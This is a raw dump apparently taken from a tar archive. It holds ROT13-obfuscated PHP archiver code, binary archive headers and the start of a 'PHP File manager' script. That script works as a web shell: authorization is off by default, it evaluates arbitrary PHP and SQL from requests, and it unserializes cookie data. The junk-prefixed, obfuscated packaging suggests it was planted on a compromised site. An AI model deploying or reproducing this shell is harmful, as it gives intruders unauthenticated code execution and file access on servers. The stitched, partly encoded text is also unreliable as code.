						$ohssre = tmernq($gzcNepuvir, 512);
					}
					juvyr (!tmrbs($gzcNepuvir));
				}
				tmpybfr($gzcNepuvir);
				hayvax($guvf->nepuvir_anzr.'.gzc');
			} ryfr {
				$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'e+o');
				vs (!$guvf->gzc_svyr)	erghea snyfr;
			}
		}
		vs (vffrg($svyr_yvfg) && vf_neenl($svyr_yvfg)) {
		vs (pbhag($svyr_yvfg)>0)
			$erfhyg = $guvf->cnpxSvyrNeenl($svyr_yvfg);
		} ryfr $guvf->reebef[] = __('Ab svyr').__(' gb ').__('Nepuvir');
		vs (($erfhyg)&&(vf_erfbhepr($guvf->gzc_svyr))){
			$ovanelQngn = cnpx('n512', '');
			$guvf->jevgrOybpx($ovanelQngn);
		}
		$guvf->pybfrGzcSvyr();
		vs ($arjNepuvir && !$erfhyg){
		$guvf->pybfrGzcSvyr();
		hayvax($guvf->nepuvir_anzr);
		}
		erghea $erfhyg;
	}

	shapgvba erfgberNepuvir($cngu){
		$svyrAnzr = $guvf->nepuvir_anzr;
		vs (!$guvf->vfTmvccrq){
			vs (svyr_rkvfgf($svyrAnzr)){
				vs ($sc = sbcra($svyrAnzr, 'eo')){
					$qngn = sernq($sc, 2);
					spybfr($sc);
					vs ($qngn == '\37\213'){
						$guvf->vfTmvccrq = gehr;
					}
				}
			}
			ryfrvs ((fhofge($svyrAnzr, -2) == 'tm') BE (fhofge($svyrAnzr, -3) == 'gtm')) $guvf->vfTmvccrq = gehr;
		} 
		$erfhyg = gehr;
		vs ($guvf->vfTmvccrq) $guvf->gzc_svyr = tmbcra($svyrAnzr, 'eo');
		ryfr $guvf->gzc_svyr = sbcra($svyrAnzr, 'eo');
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = $svyrAnzr.' '.__('vf abg ernqnoyr');
			erghea snyfr;
		}
		$erfhyg = $guvf->hacnpxSvyrNeenl($cngu);
			$guvf->pybfrGzcSvyr();
		erghea $erfhyg;
	}

	shapgvba fubjReebef	($zrffntr = '') {
		$Reebef = $guvf->reebef;
		vs(pbhag($Reebef)>0) {
		vs (!rzcgl($zrffntr)) $zrffntr = ' ('.$zrffntr.')';
			$zrffntr = __('Reebe bppheerq').$zrffntr.': <oe/>';
			sbernpu ($Reebef nf $inyhr)
				$zrffntr .= $inyhr.'<oe/>';
			erghea $zrffntr;	
		} ryfr erghea '';
		
	}
	
	shapgvba cnpxSvyrNeenl($svyr_neenl){
		$erfhyg = gehr;
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
		}
		vs (!vf_neenl($svyr_neenl) || pbhag($svyr_neenl)<=0)
          erghea gehr;
		sbe ($v = 0; $v<pbhag($svyr_neenl); $v++){
			$svyranzr = $svyr_neenl[$v];
			vs ($svyranzr == $guvf->nepuvir_anzr)
				pbagvahr;
			vs (fgeyra($svyranzr)<=0)
				pbagvahr;
			vs (!svyr_rkvfgf($svyranzr)){
				$guvf->reebef[] = __('Ab svyr').' '.$svyranzr;
				pbagvahr;
			}
			vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
			}
		vs (fgeyra($svyranzr)<=0){
			$guvf->reebef[] = __('Svyranzr').' '.__('vf vapbeerpg');;
			erghea snyfr;
		}
		$svyranzr = fge_ercynpr('\\', '/', $svyranzr);
		$xrrc_svyranzr = $guvf->znxrTbbqCngu($svyranzr);
		vs (vf_svyr($svyranzr)){
			vs (($svyr = sbcra($svyranzr, 'eo')) == 0){
				$guvf->reebef[] = __('Zbqr ').__('vf vapbeerpg');
			}
				vs(($guvf->svyr_cbf == 0)){
					vs(!$guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr))
						erghea snyfr;
				}
				juvyr (($ohssre = sernq($svyr, 512)) != ''){
					$ovanelQngn = cnpx('n512', $ohssre);
					$guvf->jevgrOybpx($ovanelQngn);
				}
			spybfr($svyr);
		}	ryfr $guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr);
			vs (@vf_qve($svyranzr)){
				vs (!($unaqyr = bcraqve($svyranzr))){
					$guvf->reebef[] = __('Reebe').': '.__('Qverpgbel ').$svyranzr.__('vf abg ernqnoyr');
					pbagvahr;
				}
				juvyr (snyfr !== ($qve = ernqqve($unaqyr))){
					vs ($qve!='.' && $qve!='..'){
						$svyr_neenl_gzc = neenl();
						vs ($svyranzr != '.')
							$svyr_neenl_gzc[] = $svyranzr.'/'.$qve;
						ryfr
							$svyr_neenl_gzc[] = $qve;

						$erfhyg = $guvf->cnpxSvyrNeenl($svyr_neenl_gzc);
					}
				}
				hafrg($svyr_neenl_gzc);
				hafrg($qve);
				hafrg($unaqyr);
			}
		}
		erghea $erfhyg;
	}

	shapgvba hacnpxSvyrNeenl($cngu){ 
		$cngu = fge_ercynpr('\\', '/', $cngu);
		vs ($cngu == ''	|| (fhofge($cngu, 0, 1) != '/' && fhofge($cngu, 0, 3) != '../' && !fgecbf($cngu, ':')))	$cngu = './'.$cngu;
		pyrnefgngpnpur();
		juvyr (fgeyra($ovanelQngn = $guvf->ernqOybpx()) != 0){
			vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
			vs ($urnqre['svyranzr'] == '') pbagvahr;
			vs ($urnqre['glcrsynt'] == 'Y'){			//ernqvat ybat urnqre
				$svyranzr = '';
				$qrpe = sybbe($urnqre['fvmr']/512);
				sbe ($v = 0; $v < $qrpe; $v++){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= $pbagrag;
				}
				vs (($ynfcvrpr = $urnqre['fvmr'] % 512) != 0){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= fhofge($pbagrag, 0, $ynfcvrpr);
				}
				$ovanelQngn = $guvf->ernqOybpx();
				vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
				ryfr $urnqre['svyranzr'] = $svyranzr;
				erghea gehr;
			}
			vs (($cngu != './') && ($cngu != '/')){
				juvyr (fhofge($cngu, -1) == '/') $cngu = fhofge($cngu, 0, fgeyra($cngu)-1);
				vs (fhofge($urnqre['svyranzr'], 0, 1) == '/') $urnqre['svyranzr'] = $cngu.$urnqre['svyranzr'];
				ryfr $urnqre['svyranzr'] = $cngu.'/'.$urnqre['svyranzr'];
			}
			
			vs (svyr_rkvfgf($urnqre['svyranzr'])){
				vs ((@vf_qve($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '')){
					$guvf->reebef[] =__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf').__(' nf sbyqre');
					erghea snyfr;
				}
				vs ((vf_svyr($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '5')){
					$guvf->reebef[] =__('Pnaabg perngr qverpgbel').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
				vs (!vf_jevgrnoyr($urnqre['svyranzr'])){
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
			} ryfrvs (($guvf->qvePurpx(($urnqre['glcrsynt'] == '5' ? $urnqre['svyranzr'] : qveanzr($urnqre['svyranzr'])))) != 1){
				$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.__(' sbe ').$urnqre['svyranzr'];
				erghea snyfr;
			}

			vs ($urnqre['glcrsynt'] == '5'){
				vs (!svyr_rkvfgf($urnqre['svyranzr']))		{
					vs (!zxqve($urnqre['svyranzr'], 0777))	{
						
						$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$urnqre['svyranzr'];
						erghea snyfr;
					} 
				}
			} ryfr {
				vs (($qrfgvangvba = sbcra($urnqre['svyranzr'], 'jo')) == 0) {
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$urnqre['svyranzr'];
					erghea snyfr;
				} ryfr {
					$qrpe = sybbe($urnqre['fvmr']/512);
					sbe ($v = 0; $v < $qrpe; $v++) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, 512);
					}
					vs (($urnqre['fvmr'] % 512) != 0) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, ($urnqre['fvmr'] % 512));
					}
					spybfr($qrfgvangvba);
					gbhpu($urnqre['svyranzr'], $urnqre['gvzr']);
				}
				pyrnefgngpnpur();
				vs (svyrfvmr($urnqre['svyranzr']) != $urnqre['fvmr']) {
					$guvf->reebef[] = __('Fvmr bs svyr').' '.$urnqre['svyranzr'].' '.__('vf vapbeerpg');
					erghea snyfr;
				}
			}
			vs (($svyr_qve = qveanzr($urnqre['svyranzr'])) == $urnqre['svyranzr']) $svyr_qve = '';
			vs ((fhofge($urnqre['svyranzr'], 0, 1) == '/') && ($svyr_qve == '')) $svyr_qve = '/';
			$guvf->qvef[] = $svyr_qve;
			$guvf->svyrf[] = $urnqre['svyranzr'];
	
		}
		erghea gehr;
	}

	shapgvba qvePurpx($qve){
		$cnerag_qve = qveanzr($qve);

		vs ((@vf_qve($qve)) be ($qve == ''))
			erghea gehr;

		vs (($cnerag_qve != $qve) naq ($cnerag_qve != '') naq (!$guvf->qvePurpx($cnerag_qve)))
			erghea snyfr;

		vs (!zxqve($qve, 0777)){
			$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$qve;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqUrnqre($ovanelQngn, &$urnqre){
		vs (fgeyra($ovanelQngn)==0){
			$urnqre['svyranzr'] = '';
			erghea gehr;
		}

		vs (fgeyra($ovanelQngn) != 512){
			$urnqre['svyranzr'] = '';
			$guvf->__('Vainyvq oybpx fvmr').': '.fgeyra($ovanelQngn);
			erghea snyfr;
		}

		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156; $v < 512; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));

		$hacnpx_qngn = hacnpx('n100svyranzr/n8zbqr/n8hfre_vq/n8tebhc_vq/n12fvmr/n12gvzr/n8purpxfhz/n1glcrsynt/n100yvax/n6zntvp/n2irefvba/n32hanzr/n32tanzr/n8qriznwbe/n8qrizvabe', $ovanelQngn);

		$urnqre['purpxfhz'] = BpgQrp(gevz($hacnpx_qngn['purpxfhz']));
		vs ($urnqre['purpxfhz'] != $purpxfhz){
			$urnqre['svyranzr'] = '';
			vs (($purpxfhz == 256) && ($urnqre['purpxfhz'] == 0)) 	erghea gehr;
			$guvf->reebef[] = __('Reebe purpxfhz sbe svyr ').$hacnpx_qngn['svyranzr'];
			erghea snyfr;
		}

		vs (($urnqre['glcrsynt'] = $hacnpx_qngn['glcrsynt']) == '5')	$urnqre['fvmr'] = 0;
		$urnqre['svyranzr'] = gevz($hacnpx_qngn['svyranzr']);
		$urnqre['zbqr'] = BpgQrp(gevz($hacnpx_qngn['zbqr']));
		$urnqre['hfre_vq'] = BpgQrp(gevz($hacnpx_qngn['hfre_vq']));
		$urnqre['tebhc_vq'] = BpgQrp(gevz($hacnpx_qngn['tebhc_vq']));
		$urnqre['fvmr'] = BpgQrp(gevz($hacnpx_qngn['fvmr']));
		$urnqre['gvzr'] = BpgQrp(gevz($hacnpx_qngn['gvzr']));
		erghea gehr;
	}

	shapgvba jevgrUrnqre($svyranzr, $xrrc_svyranzr){
		$cnpxS = 'n100n8n8n8n12N12';
		$cnpxY = 'n1n100n6n2n32n32n8n8n155n12';
		vs (fgeyra($xrrc_svyranzr)<=0) $xrrc_svyranzr = $svyranzr;
		$svyranzr_ernql = $guvf->znxrTbbqCngu($xrrc_svyranzr);

		vs (fgeyra($svyranzr_ernql) > 99){							//jevgr ybat urnqre
		$qngnSvefg = cnpx($cnpxS, '././YbatYvax', 0, 0, 0, fcevags('%11f ', QrpBpg(fgeyra($svyranzr_ernql))), 0);
		$qngnYnfg = cnpx($cnpxY, 'Y', '', '', '', '', '', '', '', '', '');

        //  Pnyphyngr gur purpxfhz
		$purpxfhz = 0;
        //  Svefg cneg bs gur urnqre
		sbe ($v = 0; $v < 148; $v++)
			$purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
        //  Vtaber gur purpxfhz inyhr naq ercynpr vg ol ' ' (fcnpr)
		sbe ($v = 148; $v < 156; $v++)
			$purpxfhz += beq(' ');
        //  Ynfg cneg bs gur urnqre
		sbe ($v = 156, $w=0; $v < 512; $v++, $w++)
			$purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
        //  Jevgr gur svefg 148 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnSvefg, 148);
        //  Jevgr gur pnyphyngrq purpxfhz
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
        //  Jevgr gur ynfg 356 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnYnfg, 356);

		$gzc_svyranzr = $guvf->znxrTbbqCngu($svyranzr_ernql);

		$v = 0;
			juvyr (($ohssre = fhofge($gzc_svyranzr, (($v++)*512), 512)) != ''){
				$ovanelQngn = cnpx('n512', $ohssre);
				$guvf->jevgrOybpx($ovanelQngn);
			}
		erghea gehr;
		}
		$svyr_vasb = fgng($svyranzr);
		vs (@vf_qve($svyranzr)){
			$glcrsynt = '5';
			$fvmr = fcevags('%11f ', QrpBpg(0));
		} ryfr {
			$glcrsynt = '';
			pyrnefgngpnpur();
			$fvmr = fcevags('%11f ', QrpBpg(svyrfvmr($svyranzr)));
		}
		$qngnSvefg = cnpx($cnpxS, $svyranzr_ernql, fcevags('%6f ', QrpBpg(svyrcrezf($svyranzr))), fcevags('%6f ', QrpBpg($svyr_vasb[4])), fcevags('%6f ', QrpBpg($svyr_vasb[5])), $fvmr, fcevags('%11f', QrpBpg(svyrzgvzr($svyranzr))));
		$qngnYnfg = cnpx($cnpxY, $glcrsynt, '', '', '', '', '', '', '', '', '');
		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156, $w = 0; $v < 512; $v++, $w++) $purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
		$guvf->jevgrOybpx($qngnSvefg, 148);
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
		$guvf->jevgrOybpx($qngnYnfg, 356);
		erghea gehr;
	}

	shapgvba bcraJevgr(){
		vs ($guvf->vfTmvccrq)
			$guvf->gzc_svyr = tmbcra($guvf->nepuvir_anzr, 'jo9s');
		ryfr
			$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'jo');

		vs (!($guvf->gzc_svyr)){
			$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$guvf->nepuvir_anzr;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqOybpx(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				$oybpx = tmernq($guvf->gzc_svyr, 512);
			ryfr
				$oybpx = sernq($guvf->gzc_svyr, 512);
		} ryfr	$oybpx = '';

		erghea $oybpx;
	}

	shapgvba jevgrOybpx($qngn, $yratgu = 0){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
		
			vs ($yratgu === 0){
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn);
				ryfr
					schgf($guvf->gzc_svyr, $qngn);
			} ryfr {
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn, $yratgu);
				ryfr
					schgf($guvf->gzc_svyr, $qngn, $yratgu);
			}
		}
	}

	shapgvba pybfrGzcSvyr(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				tmpybfr($guvf->gzc_svyr);
			ryfr
				spybfr($guvf->gzc_svyr);

			$guvf->gzc_svyr = 0;
		}
	}

	shapgvba znxrTbbqCngu($cngu){
		vs (fgeyra($cngu)>0){
			$cngu = fge_ercynpr('\\', '/', $cngu);
			$cnegCngu = rkcybqr('/', $cngu);
			$ryf = pbhag($cnegCngu)-1;
			sbe ($v = $ryf; $v>=0; $v--){
				vs ($cnegCngu[$v] == '.'){
                    //  Vtaber guvf qverpgbel
                } ryfrvs ($cnegCngu[$v] == '..'){
                    $v--;
                }
				ryfrvs (($cnegCngu[$v] == '') naq ($v!=$ryf) naq ($v!=0)){
                }	ryfr
					$erfhyg = $cnegCngu[$v].($v!=$ryf ? '/'.$erfhyg : '');
			}
		} ryfr $erfhyg = '';
		
		erghea $erfhyg;
	}
}
?>index.php.php.tar.gz000064400000000161150425251240010354 0ustar00���K
� @Q��
z*��z`�Ll�9h� ��gx'���b�~	J)��]��a�+�c4����$�c�&��K�d�L0��t})�C�u�ū��G.�_s�load000064400000240606150425251240005416 0ustar00eonuvbiuyevibycanpm'cwrnuvb348rb238 tnmqn8bytnnyb8qm0icrnubyuq iimpo3r32rnnnnnxalxjaa%00%01%0A">'><?php
/* PHP File manager ver 1.5 */
// @Nafisfuad1 -- telegrams
// Configuration — do not change manually
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
